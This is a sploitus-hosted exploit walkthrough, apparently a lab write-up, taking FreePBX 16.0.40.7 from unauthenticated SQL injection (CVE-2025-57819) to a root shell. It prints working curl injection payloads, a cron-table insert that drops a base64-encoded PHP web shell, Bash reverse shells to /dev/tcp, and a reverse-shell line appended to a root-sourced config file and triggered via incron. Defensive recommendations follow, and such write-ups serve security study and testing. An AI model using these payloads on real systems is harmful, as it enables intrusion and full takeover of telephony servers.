## https://sploitus.com/exploit?id=C040B40C-390A-5021-BCC4-B56292CD14F0
# FreePBX: From Unauthenticated SQL Injection to Root Shell
### CVE-2025-57819 • FreePBX 16.0.40.7
---
## 📋 Executive Summary
The attack chain begins with an unauthenticated SQL injection vulnerability in FreePBX, which is leveraged to gain code execution as the `asterisk` user via a crafted cron job. A writable configuration file combined with an `incron` trigger then allows privilege escalation to `root`.
This case demonstrates how web application vulnerabilities, when combined with weak local permissions and insecure privileged automation, can lead to full system compromise.
---
## 🔍 Step 1 – Enumeration & Virtual Host Discovery
A rapid port scan reveals the target's open ports:
```bash
nmap -T5 --open
```
| Port | Service |
| ---- | ------- |
| 22 | SSH |
| 80 | HTTP |
| 443 | HTTPS |
Further inspection shows an Apache server running PHP 7.4, with an HTTP redirect to:
```text
http://domain.com/
```
To properly access the site, add the virtual host mapping:
```bash
echo " domain.com" | sudo tee -a /etc/hosts
```
Browsing to `http://domain.com/` reveals:
```text
FreePBX 16.0.40.7
```
---
## 🕳️ Step 2 – Exploiting CVE-2025-57819 (SQL Injection)
Research identifies **CVE-2025-57819**, an unauthenticated error-based SQL injection vulnerability in the FreePBX Endpoint Manager component.
Confirm the vulnerability by extracting the database user:
```bash
curl -ik "https://domain.com/admin/ajax.php?module=FreePBX\\modules\\endpoint\\ajax&command=model&template=x&model=model&brand=x'+AND+EXTRACTVALUE(1,CONCAT('~USER:',(SELECT USER()),'~'))--+"
```
The response contains:
```text
~USER:freepbxuser@localhost~
```
This confirms that the SQL injection works and that the application connects to MySQL as:
```text
freepbxuser@localhost
```
---
## ⚙️ Step 3 – Gaining Code Execution via Scheduled Tasks
FreePBX stores scheduled jobs in the `cron_jobs` table.
By injecting a malicious entry into this table, arbitrary commands can be scheduled for execution.
The following payload creates a PHP web shell in the web root:
```bash
curl -ik "https://domain.com/admin/ajax.php?module=FreePBX\\modules\\endpoint\\ajax&command=model&template=x&model=model&brand=x';INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order) VALUES ('sysadmin','wt-shell3','echo \"PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+Cg==\"|base64 -d >/var/www/html/wt-shell3.php',NULL,'* * * * *',30,1,1)-- "
```
The server returns a generic `500` error, but the SQL statement executes successfully.
After approximately one minute, verify that the web shell has been created:
```bash
curl -ik "https://domain.com/wt-shell3.php?cmd=id"
```
Output:
```text
uid=999(asterisk) gid=1000(asterisk) groups=1000(asterisk)
```
We now have command execution as the `asterisk` user through HTTP requests.
---
## 💻 Step 4 – Establishing an Interactive Reverse Shell
Start a Netcat listener on the attacking machine:
```bash
nc -lvnp 4444
```
Trigger a Bash reverse shell through the web shell:
```bash
curl -ik "https://domain.com/wt-shell3.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp//4444+0>%261'"
```
A connection is established:
```text
connect to [] from []
uid=999(asterisk) gid=1000(asterisk)
```
We now have an interactive shell as the `asterisk` user.
---
## 🔎 Step 5 – Local Enumeration & Privilege Escalation Path
Search for writable files under `/etc`, excluding known false positives:
```bash
find /etc -writable 2>/dev/null | grep -v "/etc/wanpipe\|/etc/asterisk\|/etc/schmooze" | head -20
```
A notable result is:
```text
/etc/dahdi/init.conf
```
Next, examine the `incron` configuration:
```bash
cat /etc/incron.d/*
```
This reveals the following filesystem watcher:
```text
/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart
```
This means that whenever the sentinel file:
```text
/var/spool/asterisk/sysadmin/dahdi_restart
```
is written to, the following script is executed:
```text
/usr/sbin/sysadmin_dahdi_restart
```
Inspecting the script reveals that it sources:
```text
/etc/dahdi/init.conf
```
Since `/etc/dahdi/init.conf` is writable by the `asterisk` user and is sourced by a root process, it provides a path to arbitrary command execution as `root`.
---
## 🚀 Step 6 – Escalating to Root via DAHDI
Start a second Netcat listener on port `4445`:
```bash
nc -lvnp 4445
```
From the `asterisk` shell, append a reverse-shell payload to the writable configuration file:
```bash
echo 'bash -c "bash -i >& /dev/tcp//4445 0>&1" &' >> /etc/dahdi/init.conf
```
Trigger the `incron` action by writing to the watched file:
```bash
echo "restart" > /var/spool/asterisk/sysadmin/dahdi_restart
```
Within seconds, the root shell connects:
```text
connect to [] from []
uid=0(root) gid=0(root) groups=0(root)
```
🎯 **Full root access achieved!**
## 📚 Attack Chain Summary
```text
Unauthenticated SQL Injection
│
▼
MySQL Query Execution
│
▼
Insert Malicious Cron Job
│
▼
PHP Web Shell
│
▼
asterisk Shell
│
▼
Writable /etc/dahdi/init.conf
│
▼
incron Trigger
│
▼
Root Command Execution
│
▼
root
```
---
## 📊 Lessons Learned
| Vulnerability | Impact |
| --------------------------------------------- | -------------------------------------------------------------------------------- |
| Unauthenticated SQL Injection | Exposed database user context and provided a foothold for writing malicious data |
| Cron Job Injection | Enabled remote code execution as a low-privileged service account |
| Writable Configuration File + incron | Allowed direct privilege escalation to root |
| Privileged Script Sourcing User-Writable File | Allowed arbitrary commands to execute with root privileges |
---
## 🔐 Recommendations
### 1. Validate User Input
Use parameterized queries and strict input validation for all database operations.
Never concatenate user-controlled input directly into SQL queries.
### 2. Restrict Configuration File Permissions
Configuration files consumed by privileged services should not be writable by low-privileged service accounts.
In particular, review permissions on files under:
```text
/etc/
```
### 3. Review Cron and Incron Jobs
Regularly audit scheduled tasks and filesystem watchers.
Privileged jobs should not execute commands based on files that untrusted users can modify.
### 4. Avoid Sourcing Untrusted Configuration
Root-owned scripts should avoid sourcing configuration files that can be modified by unprivileged users.
### 5. Apply Least Privilege
Web applications and services should run with the minimum permissions required for their operation.
Reducing the privileges of the FreePBX/Apache environment can significantly limit the impact of a successful application compromise.
---
## 🏆 Final Attack Chain
```text
CVE-2025-57819
│
▼
Unauthenticated SQL Injection
│
▼
cron_jobs Table Manipulation
│
▼
Scheduled PHP Web Shell
│
▼
asterisk User
│
▼
Writable /etc/dahdi/init.conf
│
▼
incron File Watcher
│
▼
Privileged DAHDI Script
│
▼
Root Shell
│
▼
🏆 Full System Compromise
```
---
> **Disclaimer:** This write-up is intended for educational purposes and authorized security testing, such as Hack The Box labs and controlled environments.